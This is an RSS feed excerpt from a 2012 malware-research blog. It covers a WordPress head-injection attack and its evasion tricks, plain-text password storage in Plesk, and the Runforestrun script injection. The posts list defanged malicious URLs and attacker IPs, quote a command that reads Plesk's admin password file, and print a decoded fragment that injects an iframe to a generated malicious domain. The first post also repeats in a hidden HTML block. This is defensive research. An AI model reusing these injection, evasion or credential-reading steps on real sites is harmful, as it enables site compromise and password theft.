<li>Random position of the malicious script within the <strong>&lt;head&gt;</strong> section.</li>
<li>Using <a href="http://en.wikipedia.org/wiki/Polymorphic_code"><strong>polymorphic</strong> malicious code</a> in random files under <strong>wp-includes</strong>. Every infected file has a unique version of the malicious code and every infected site has a different set of infected files.</li>
<li><strong>Server-wide IP tracking</strong>. Returning visitors (e.g. webmasters) won&#8217;t see the malicious code. And security scanners that checked at least one infected site on a server won&#8217;t see malware on the rest infected sites on the same server on that day. This trick seems to work well against Googles Safe Browsing scanners &#8212; I&#8217;ve seen them unblocking infected sites that still contained the malicious code when they checked them.</li>
<li><strong>Maintenance files outside of user accounts</strong>. They can&#8217;t be found if users only scan files under their home directory. At the same time this trick makes server-wide tracking and code reuse possible.</li>
<li><strong>&#8220;lonly&#8221; cookie</strong>. Another trick to tell first time visitors from those who have been already exposed to the malicious script.</li>
<li><strong>User Agent checks</strong> on the malware distributing <span style="color: #993300;"><strong><em>net[0-4]{2}net.net</em></strong></span> sites.  Even if you know correct URLs but use incorrect User Agent header, you will download a benign script instead of the real malicious scripts that the <span style="color: #993300;"><strong><em>net[0-4]{2}net.net</em></strong></span> sites serve to infected websites.</li>
<li>Using the <strong>onmousemove</strong> event handler to inject malicious iframe into a web page (DOM). This may prevent detection by some simple scanners that load web pages in a real web browser and analyze subsequent changes. If they don&#8217;t emulate mouse moves, the malicious iframe won&#8217;t be injected.</li>
<li><strong>Bot detection</strong>. One way or another most attacks currently try to hide malicious behavior from search engines and security scanners. This one uses a list of known IP ranges and User Agent strings that can identify search engine crawlers and AV scanners.</li>
</ul>
<h3 id="webmasters">To webmasters</h3>
<p>Although this attack is quite complex, there is an efficient trick that allows to find all new and infected files. Instead of searching for particular malware patterns, you should simply compare all your server files and directories to their canonical clean copies (for example, backup copies).</p>
<p>If your server files are under version control (e.g. <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion">Subversion</a>) it will be as easy as issuing one command that reports latest modifications. (e.g. svn status) . And you can easily revert all unwanted modifications.</p>
<h4 id="canonical">Obtaining canonical copies of files</h4>
<p>And it&#8217;s not a big problem if your files are not under version control and you don&#8217;t have a backup copy. In this case all you need to do is get an official WordPress package directly from <a href="http://wordpress.org">WordPress.org</a> site and compare your WordPress installation with it. If you don&#8217;t use the latest version of WordPress for some reason (you should upgrade after the cleanup), you can get <a href="http://wordpress.org/download/release-archive/">any previous version of WordPress here</a>.</p>
<p>Of course, content of the <strong>wp-content</strong> directory on your server will not match <strong>wp-content</strong> directory in the official WP package an you need to compare it separately. Just get official versions of all your WordPress <a href="http://wordpress.org/extend/themes/">themes</a> and <a href="http://wordpress.org/extend/plugins/">plugins</a> and compare your server copies with them.</p>
<h4 id="comparing">Comparing directories</h4>
<p>To compare directories and files within directories you can use the <strong>diff</strong> command (if you are on Linux or Mac)</p>
<p><code>diff -rw yourdirectory canonicaldirectory</code></p>
<p>or <a href="http://winmerge.org">WinMerge</a> (if you use Windows)</p>
<h4 id="cleanup">Cleanup</h4>
<p>Now that you know malicious and infected files, you can quickly clean up your site. Delete files that shouldn&#8217;t be there and replace infected files with their canonical copies.</p>
<p>Once you clean up your site make sure to:</p>
<ul>
<li>Thoroughly check your computer for malware.</li>
<li>Change all passwords: FTP, WordPress, etc.</li>
<li>Update WordPress and all themes and plugins that you use.</li>
<li>Check that <a href="http://code.google.com/p/timthumb/">TimThumb</a> library in themes and plugins  that use it is up-to-date.</li>
<li>Remove all theme and plugins that you don&#8217;t use  (disabling them in WordPress is not enough).</li>
</ul>
<p>##<br />
Any additional information and your comments are welcome!</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/">Malware Piggybacks on Automatic WordPress Updates</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/">/tmp/wp_inc or Not Your Typical WordPress Attack</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/">Weak Passwords and Tainted WordPress Widgets</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 1350px; width: 1px; height: 1px; overflow: hidden;">They begin with assignment to the &#8220;&lt;strong&gt;wow&lt;/strong&gt;&#8221; variable (in earlier versions it was &#8220;&lt;strong&gt;st&lt;/strong&gt;&#8221; variable). This variable contains an encrypted domain name of the malicious URL. Then &#8220;&lt;span style=&#8221;color: #993300;&#8221;&gt;Date&lt;/span&gt;&#8221; and a few long strings that consist almost solely of punctuation marks and special symbols (&lt;span style=&#8221;color: #993300;&#8221;&gt;=-+[()]?!@}{`$*#&amp;amp;|&amp;gt;&amp;lt;~^:&lt;/span&gt;). And end with &#8220;&lt;span style=&#8221;color: #993300;&#8221;&gt;window.eval(f.decodeURIComponent(a)&lt;/span&gt;&#8221;.</p>
<p>The script checks if there is a &#8220;&lt;strong&gt;lonly&lt;/strong&gt;&#8221; cookie. It it doesn&#8217;t exist, it sets that &#8220;&lt;strong&gt;lonly&lt;/strong&gt;&#8221; cookie for one day, creates an invisible iframe and adds an &#8220;&lt;strong&gt;onmousemove&lt;/strong&gt;&#8221; event handler for &lt;em&gt;Firefox&lt;/em&gt; and &lt;em&gt;Internet Explorer&lt;/em&gt; browsers. When user moves a mouse, the malicious iframe is being added to a web pages.</p>
<p>The iframe URLs change a few times a day and currently (as of July 10th, 2012) end with &#8220;&lt;span style=&#8221;color: #993300;&#8221;&gt;&lt;strong&gt;/rem2.html&lt;/strong&gt;&lt;/span&gt;&#8221;. In late May and early June they ended with &#8220;&lt;span style=&#8221;color: #993300;&#8221;&gt;&lt;strong&gt;/top2.html&lt;/strong&gt;&lt;/span&gt;&#8221;</p>
<p>Here are just a few of them:<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://gemeni .fr .ms/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://goga-any .r .gd/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://enema .net .tc/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://gemeni .cn .ms/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://leming .com .br .tc/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://kredits .check-it-out .nl/top2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://leaveme-send .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://onthe .check-it-out .nl/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://meinkampf .slx .nl/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://skiptomy .stx .nl/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://this-increase .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://this-quite .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://this-increase .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://this-than .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://this-there .r .gd/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://reviewszerochan .stx .nl/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://downloadskirarin .slx .nl/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://todirected .uni .me/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://revolutionreboryshion .jp .pn/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://qashqainightshade .cn .pn/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://vodkamojito.com .br .tc/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://dulhanpics.com .au .pn/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;span style=&#8221;color: #993300;&#8221;&gt;hxxp://downloadtorrent .org .uk .tc/rem2.html&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
Check how they abuse services that provide free third and forth level domains along with DNS management (so that they could point the free domains to their own servers: 87.98.128.204, 94.23.120.147, 94.247.28.42 )<br />
&lt;h3 id=&#8221;antidetection&#8221;&gt;Detection prevention tricks&lt;/h3&gt;<br />
This attack uses quite a few tricks that aim to make its detection difficult, both for webmasters and security scanners.<br />
&lt;ul&gt;<br />
&lt;li&gt;Using &lt;strong&gt;wp-head&lt;/strong&gt; action to inject code into web pages. This trick makes is not obvious where to search for the malicious code, especially for webmasters that are not familiar with WordPress API.&lt;/li&gt;<br />
&lt;li&gt;Hundreds of whitespace characters before the malicious script make it not visible when people look through the HTML code of web pages (horizontal scrolling is rarely used compared to vertical scrolling &#8212; even mouse wheels only provide vertical scrolling).&lt;/li&gt;<br />
&lt;li&gt;Random position of the malicious script within the &lt;strong&gt;&amp;lt;head&amp;gt;&lt;/strong&gt; section.&lt;/li&gt;<br />
&lt;li&gt;Using &lt;a href=&#8221;http://en.wikipedia.org/wiki/Polymorphic_code&#8221;&gt;&lt;strong&gt;polymorphic&lt;/strong&gt; malicious code&lt;/a&gt; in random files under &lt;strong&gt;wp-includes&lt;/strong&gt;. Every infected file has a unique version of the malicious code and every infected site has a different set of infected files.&lt;/li&gt;<br />
&lt;li&gt;&lt;strong&gt;Server-wide IP tracking&lt;/strong&gt;. Returning visitors (e.g. webmasters) won&#8217;t see the malicious code. And security scanners that checked at least one infected site on a server won&#8217;t see malware on the rest infected sites on the same server on that day. This trick seems to work well against Googles Safe Browsing scanners &#8212; I&#8217;ve seen them unblocking infected sites that still contained the malicious code when they checked them.&lt;/li&gt;<br />
&lt;li&gt;&lt;strong&gt;Maintenance files outside of user accounts&lt;/strong&gt;. They can&#8217;t be found if users only scan files under their home directory. At the same time this trick makes server-wide tracking and code reuse possible.&lt;/li&gt;<br />
&lt;li&gt;&lt;strong&gt;&#8221;lonly&#8221; cookie&lt;/strong&gt;. Another trick to tell first time visitors from those who have been already exposed to the malicious script.&lt;/li&gt;<br />
&lt;li&gt;&lt;strong&gt;User Agent checks&lt;/strong&gt; on the malware distributing &lt;span style=&#8221;color: #993300;&#8221;&gt;&lt;strong&gt;&lt;em&gt;net[0-4]{2}net.net&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; sites.  Even if you know correct URLs but use incorrect User Agent header, you will download a benign script instead of the real malicious scripts that the &lt;span style=&#8221;color: #993300;&#8221;&gt;&lt;strong&gt;&lt;em&gt;net[0-4]{2}net.net&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; sites serve to infected websites.&lt;/li&gt;<br />
&lt;li&gt;Using the &lt;strong&gt;onmousemove&lt;/strong&gt; event handler to inject malicious iframe into a web page (DOM). This may prevent detection by some simple scanners that load web pages in a real web browser and analyze subsequent changes. If they don&#8217;t emulate mouse moves, the malicious iframe won&#8217;t be injected.&lt;/li&gt;<br />
&lt;li&gt;&lt;strong&gt;Bot detection&lt;/strong&gt;. One way or another most attacks currently try to hide malicious behavior from search engines and security scanners. This one uses a list of known IP ranges and User Agent strings that can identify search engine crawlers and AV scanners.&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;h3 id=&#8221;webmasters&#8221;&gt;To webmasters&lt;/h3&gt;<br />
Although this attack is quite complex, there is an efficient trick that allows to find all new and infected files. Instead of searching for particular malware patterns, you should simply compare all your server files and directories to their canonical clean copies (for example, backup copies).</p>
<p>If your server files are under version control (e.g. &lt;a href=&#8221;http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&#8221;&gt;Subversion&lt;/a&gt;) it will be as easy as issuing one command that reports latest modifications. (e.g. svn status) . And you can easily revert all unwanted modifications.<br />
&lt;h4 id=&#8221;canonical&#8221;&gt;Obtaining canonical copies of files&lt;/h4&gt;<br />
And it&#8217;s not a big problem if your files are not under version control and you don&#8217;t have a backup copy. In this case all you need to do is get an official WordPress package directly from &lt;a href=&#8221;http://wordpress.org&#8221;&gt;WordPress.org&lt;/a&gt; site and compare your WordPress installation with it. If you don&#8217;t use the latest version of WordPress for some reason (you should upgrade after the cleanup), you can get &lt;a href=&#8221;http://wordpress.org/download/release-archive/&#8221;&gt;any previous version of WordPress here&lt;/a&gt;.</p>
<p>Of course, content of the &lt;strong&gt;wp-content&lt;/strong&gt; directory on your server will not match &lt;strong&gt;wp-content&lt;/strong&gt; directory in the official WP package an you need to compare it separately. Just get official versions of all your WordPress &lt;a href=&#8221;http://wordpress.org/extend/themes/&#8221;&gt;themes&lt;/a&gt; and &lt;a href=&#8221;http://wordpress.org/extend/plugins/&#8221;&gt;plugins&lt;/a&gt; and compare your server copies with them.<br />
&lt;h4 id=&#8221;comparing&#8221;&gt;Comparing directories&lt;/h4&gt;<br />
To compare directories and files within directories you can use the &lt;strong&gt;diff&lt;/strong&gt; command (if you are on Linux or Mac)</p>
<p>&lt;code&gt;diff -rw yourdirectory canonicaldirectory&lt;/code&gt;</p>
<p>or &lt;a href=&#8221;http://winmerge.org&#8221;&gt;WinMerge&lt;/a&gt; (if you use Windows)<br />
&lt;h4 id=&#8221;cleanup&#8221;&gt;Cleanup&lt;/h4&gt;<br />
Now that you know malicious and infected files, you can quickly clean up your site. Delete files that shouldn&#8217;t be there and replace infected files with their canonical copies.</p>
<p>Once you clean up your site make sure to:<br />
&lt;ul&gt;<br />
&lt;li&gt;Thoroughly check your computer for malware.&lt;/li&gt;<br />
&lt;li&gt;Change all passwords: FTP, WordPress, etc.&lt;/li&gt;<br />
&lt;li&gt;Update WordPress and all themes and plugins that you use.&lt;/li&gt;<br />
&lt;li&gt;Check that &lt;a href=&#8221;http://code.google.com/p/timthumb/&#8221;&gt;TimThumb&lt;/a&gt; library in themes and plugins  that use it is up-to-date.&lt;/li&gt;<br />
&lt;li&gt;Remove all theme and plugins that you don&#8217;t use  (disabling them in WordPress is not enough).&lt;/li&gt;<br />
&lt;/ul&gt;<br />
##<br />
Any additional information and your comments are welcome!</p>
<p>&lt;span style=&#8221;color: #888888;&#8221;&gt;&lt;strong&gt;Related posts:&lt;/strong&gt;&lt;/span&gt;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;a href=&#8221;http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/&#8221;&gt;Malware Piggybacks on Automatic WordPress Updates&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/&#8221;&gt;/tmp/wp_inc or Not Your Typical WordPress Attack&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/&#8221;&gt;Weak Passwords and Tainted WordPress Widgets&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/&#8221;&gt;Thousands of Hacked Sites Seriously Poison Google Image Search Results&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/&#8221;&gt;Introduction to Website Parasites&lt;/a&gt;&lt;/li&gt;<br />
&lt;/ul&gt;</p>
</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=s-A7CsqBdo0:WjaMfgjC1Mg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=s-A7CsqBdo0:WjaMfgjC1Mg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=s-A7CsqBdo0:WjaMfgjC1Mg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=s-A7CsqBdo0:WjaMfgjC1Mg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/07/11/whats-in-your-wp-head/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Millions of Website Passwords Stored in Plain Text in Plesk Panel</title>
		<link>http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/</link>
		<comments>http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/#comments</comments>
		<pubDate>Tue, 26 Jun 2012 17:28:24 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Hosting+Security]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Plesk]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=885</guid>
		<description><![CDATA[After the theft of LinkedIn user database, there was a lot of buzz about how unthoughtful it was to store passwords as unsalted SHA-1 hashes.
What can be even worse is storing user passwords in plain text.
Brian Kreb was recently shocked when his hosting provider sent him his password in plain text. He wrote a post [...]]]></description>
			<content:encoded><![CDATA[<p>After the theft of LinkedIn user database, there was a lot of buzz about <a href="http://www.dailytech.com/article.aspx?newsid=24875">how unthoughtful it was to</a> <a href="http://www.computerworld.com/s/article/9227869/Hackers_crack_more_than_60_of_breached_LinkedIn_passwords">store passwords as unsalted</a> <a href="http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/">SHA-1 hashes</a>.</p>
<p>What can be even worse is storing user passwords in plain text.</p>
<p>Brian Kreb was recently shocked when his <a href="http://krebsonsecurity.com/2012/06/naming-and-shaming-the-plaintext-offenders/">hosting provider sent him his password in plain text</a>. He wrote a post about it and made a conclusion that it is quite a common practice among hosting providers and that &#8220;<em>naming and shaming may be the only way to change</em>&#8221; it.</p>
<p>But why do hosting providers save passwords in plain text? Maybe because most of them don&#8217;t invent anything and just rely on web hosting automation programs?<br />
<span id="more-885"></span><br />
Enter <a href="http://www.parallels.com/products/plesk/">Parallels Plesk Panel</a>.</p>
<p>They advertise themselves as &#8220;<em>the most widely used hosting control panel solution. With more than <strong>250,000</strong> Windows and Linux servers deployed, Parallels Plesk Panel is the preferred choice for hosting service providers, web designers, and website owners.</em>&#8221; They also advertize <em>top-notch</em> security that &#8220;<em>protects personal data and websites</em>&#8220;.</p>
<h3 id="plaintext">Plain text passwords</h3>
<p>But what about the Plesk security in real world? Can we call it &#8220;top-notch&#8221; if I tell you that <strong>Plesk stores passwords in plain text</strong>?!</p>
<p><em><strong>Update:</strong> <a href="http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/#comment-19125">Since version 11 Plesk doesn&#8217;t store passwords in plain text.</a> Unfortunately, there are still many servers that use older versions of Plesk. You can still find many servers with Plesk 8.x.</em></p>
<p><strong>Here are the proofs</strong>:</p>
<blockquote><p>&#8220;The problem is, that every password is stored as plain text!!! I mean every password including the plesk, mail and ftp/ssh!&#8221;<br />
<a href="http://forum.parallels.com/showthread.php?t=257908"> http://forum.parallels.com/showthread.php?t=257908</a></p></blockquote>
<blockquote><p>&#8220;&#8230;And unfortunately all Passwords in Plesk are stored in plain text!! Take a look in database &#8216;psa&#8217; at table &#8216;accounts&#8217; (and better sit down before doing that!).&#8221;<br />
<a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#update2">http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#update2</a></p></blockquote>
<p>And in older versions (many servers still use them) they didn&#8217;t encrypt Plesk admin passwords either</p>
<blockquote><p><span style="color: #993300;">less /etc/psa/.psa.shadow</span><br />
The password will be displayed in plain text.<br />
<a href="http://www.hosting.com/support/plesk/recover-my-plesk-password">http://www.hosting.com/support/plesk/recover-my-plesk-password</a></p></blockquote>
<h3 id="issue">What&#8217;s the problem?</h3>
<p>But maybe is not such a big issue? After all, with proper permissions, only server admins have access to the passwords and server admins should have full access to every part of servers anyway.</p>
<p>That&#8217;s not so simple:</p>
<ol>
<li>Admins don&#8217;t need passwords to access sites of their clients. And they should not see their passwords. It&#8217;s a privacy thing. Some clients may use the same username/password combinations on other sites (Facebook, Gmail, PayPal, their banks, etc. &#8211; I know, it&#8217;s stupid to use the same passwords everywhere but still is a common practice) and server admins can easily abuse this information (especially given the amount of information they already know about their clients anyway: real names, addresses, phone numbers, etc.)</li>
<li> Server admins can be target of spear-phishing and malware attacks that steal passwords. Once attackers obtain Plesk admin credentials they can easily get passwords of all server accounts.</li>
<li>And don&#8217;t forget about bugs and security holes that can expose stored passwords or provide admin access to people without proper authorization.</li>
</ol>
<h3 id="attacks">Attacks in the wild</h3>
<p>In case of Plesk, there are really such vulnerabilities <a href="http://kb.parallels.com/en/113321">http://kb.parallels.com/en/113321</a> and there are attacks in the wild that exploit those vulnerabilities.</p>
<p><strong>February-March 2012</strong>:  attackers gained admin access to Plesk servers and planted some backdoors. The user database seems be stolen too.</p>
<ul>
<li><a href="http://arstechnica.com/business/2012/02/plesk-control-panel-bug-left-ftc-sites-and-thousands-more-exposed-to-anon/">Plesk control panel bug left FTC sites (and thousands more) exposed to Anons</a></li>
<li><a href="http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/">Plesk backdoors, a very large number of servers compromised.</a></li>
<li><a href="http://forum.parallels.com/showthread.php?t=258101">New vulnerability of Plesk??</a></li>
</ul>
<p><strong>June 2012:</strong> hackers use stolen Plesk credentials to inject malicious code into legitimate websites.</p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#hole">Runforestrun and Pseudo Random Domains</a></li>
</ul>
<p>Remember, Parallels bragged about <strong>250,000</strong> servers with installed Plesk Panel. That&#8217;s <strong>many millions </strong>of individual websites and <strong>millions</strong> of user accounts. Sounds like a good target for  attacks.</p>
<p>Back to the Brian&#8217;s post I mentioned in the beginning &#8212; instead of naming and shaming individual hosting companies, we can name and shame software that they use. But if you are concerned about individual hosting providers, you can simply check if they use Plesk.</p>
<p>I have a few questions to my blog readers:</p>
<ul>
<li>Do you think it&#8217;s OK that your hosting provider or your service provider stores your passwords in plain text?</li>
<li>How many of you have sites on servers with Plesk Panel? Did you know that your passwords are stored in plain text?</li>
<li>What can you say about other web hosting automation programs, e.g. CPanel? Do they store hashes or real passwords?</li>
<li>Is the latest version (11) of Plesk Panel still stores passwords in plain text? (They advertise &#8220;improved security&#8221; but who knows what this really means.) &#8211; Update: <a href="http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/#comment-19125">Brian (Parallels) says</a> that Plesk 11 no loger stores passwords in plain text. Great!</li>
</ul>
<p><span style="color: #808080;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">Runforestrun and Pseudo Random Domains</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/">RunForestRun Now Encrypts Legitimate JS Files</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ntjdtjVexwU:1D_mDzrdQKw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ntjdtjVexwU:1D_mDzrdQKw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=ntjdtjVexwU:1D_mDzrdQKw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ntjdtjVexwU:1D_mDzrdQKw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/06/26/millions-of-website-passwords-stored-in-plain-text-in-plesk-panel/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Runforestrun and Pseudo Random Domains</title>
		<link>http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/</link>
		<comments>http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#comments</comments>
		<pubDate>Fri, 22 Jun 2012 00:21:45 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[Leaseweb]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Runforestrun]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=883</guid>
		<description><![CDATA[Today I came across an interesting  attack that injects malicious scripts at the very bottom of existing .js files.
Update: at the bottom of this post you&#8217;ll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.
Update (July 26, 2012): The attack has changed both [...]]]></description>
			<content:encoded><![CDATA[<p>Today I came across an interesting  attack that injects malicious scripts at the very bottom of existing .js files.</p>
<p><span style="color: #333333;"><em>Update: <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#update">at the bottom of this post</a> you&#8217;ll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.</em></span></p>
<p><span style="color: #333333;"><em>Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">follow up article</a>. Information about the Plesk security issues are still can be found in the current post and comments.</em></span></p>
<p>The script (surrounded by the <em>/*km0ae9gr6m*/&#8230;/*qhk6sa6g1c*/</em> pair of comments ) looks like this:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/06/km0ae9gr6m-script-qhk6sa6g1c.png" border="0" alt="km0ae9gr6m script qhk6sa6g1c" /></div>
<p>Full source code can be found <a href="http://pastebin.com/P3xmqPe4">here</a></p>
<p>On Google diagnostic pages of infected sites you will currently see something like this</p>
<blockquote><p>Malicious software is hosted on 2 domain(s), including <span style="color: #993300;">ctonxidjqijsnzny .ru</span>/, <span style="color: #993300;">znycugibimtvplve .ru</span>/.</p></blockquote>
<p>I say &#8220;currently&#8221;, because  the most interesting thing about this script is the built-in domain name generator.<br />
<span id="more-883"></span><br />
If you decode the script (<a href="http://pastebin.com/dfGJZYu7">see the code</a>), you will see functions with names like <em>nextRandomNumber</em>, <em>RandomNumberGenerator</em>, <em>createRandomNumber</em> and <strong>generatePseudoRandomString</strong> and the iframe URL generation based on the current date and time:</p>
<p><code>var unix = Math.round(+new Date() / 1000);<br />
var domainName = <strong>generatePseudoRandomString</strong>(unix, 16, 'ru');<br />
ifrm = document.createElement("IFRAME");<br />
ifrm.setAttribute("src", "http://" + domainName + "/<strong>runforestrun</strong>?sid=cx");</code></p>
<p>It&#8217;s not a new tactic to use pseudo random domain name generators for drive by download attacks.  I have already <a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#algo">described algorithms</a> <a href="blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#new_algo">based on quite unpredictable factors such as Twitter trending topics</a>. Attackers had only a few hours to a couple of days to register and properly configure new domains before malicious script would begin sending traffic to them.</p>
